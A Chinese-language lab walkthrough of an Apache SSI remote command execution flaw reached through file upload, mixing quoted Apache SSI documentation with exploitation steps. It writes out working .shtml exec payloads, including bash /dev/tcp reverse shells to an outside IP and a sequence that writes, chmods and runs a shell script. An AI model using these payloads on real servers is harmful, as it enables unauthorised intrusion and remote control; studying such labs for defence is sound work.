Apache SSI 远程命令执行漏洞
什么是 SSI?
SSI (Server Side Includes) are directives that are placed in HTML pages, and evaluated on the server while the pages are being served. They let you add dynamically generated content to an existing HTML page, without having to serve the entire page via a CGI program, or other dynamic technology.
SSI(服务器端包含)是放置在 HTML 页面中的指令,并在提供页面时在服务器上进行评估。它们允许您将动态生成的内容添加到现有 HTML 页面,而无需通过 CGI 程序或其他动态技术提供整个页面。
Configuring your server to permit SSI
配置服务器以允许 SSI
To permit SSI on your server, you must have the following directive either in your httpd.conf file, or in a .htaccess file:
若要在服务器上允许 SSI,必须在 httpd.conf 文件或 .htaccess 文件中具有以下指令:
Options +Includes
在测试任意文件上传漏洞的时候,目标服务端可能不允许上传 php 后缀的文件。如果目标服务器开启了 SSI 与 CGI 支持,我们可以上传一个 shtml 文件,并利用<!--#exec cmd="id" -->
语法执行任意命令。
环境启动后,访问http://your-ip:8080/upload.php
,即可看到一个上传表单。
正常上传 PHP 文件是不允许的
我们可以上传一个 shell.shtml 文件:
成功上传后,然后访问 shell.shtml,可见命令已成功执行:
(反弹 shell,拿到权限)
直接反弹 shell 无法直接拿到权限
<!--#exec cmd="bash -i >& /dev/tcp/107.151.244.67/5566 0>&1"-->
创建反弹.sh 文件,给权限,再用/bin/bash 运行
<!--#exec cmd="echo 'bash -i >& /dev/tcp/107.151.244.67/5566 0>&1' > /var/www/html/shell.sh"-->
# 在/var/www/html/目录下创建一个反弹shell命令的shell.sh文件
<!--#exec cmd="chmod +x /var/www/html/shell.sh"-->
# 赋予该文件以执行权限
<!--#exec cmd="/bin/bash /var/www/html/shell.sh"-->
# 执行该文件
关于技术说明
https://httpd.apache.org/docs/2.4/howto/ssi.html
<!--#echo var="DATE_LOCAL" -->
XBitHack 告诉 Apache 解析 SSI 指令的文件(如果它们设置了执行位)。因此,要将 SSI 指令添加到现有页面,而不必更改文件名,只需使用 chmod
chmod +x pagename.html
通常,当您的 SSI 指令出现问题时,您会收到以下消息
[an error occurred while processing this directive]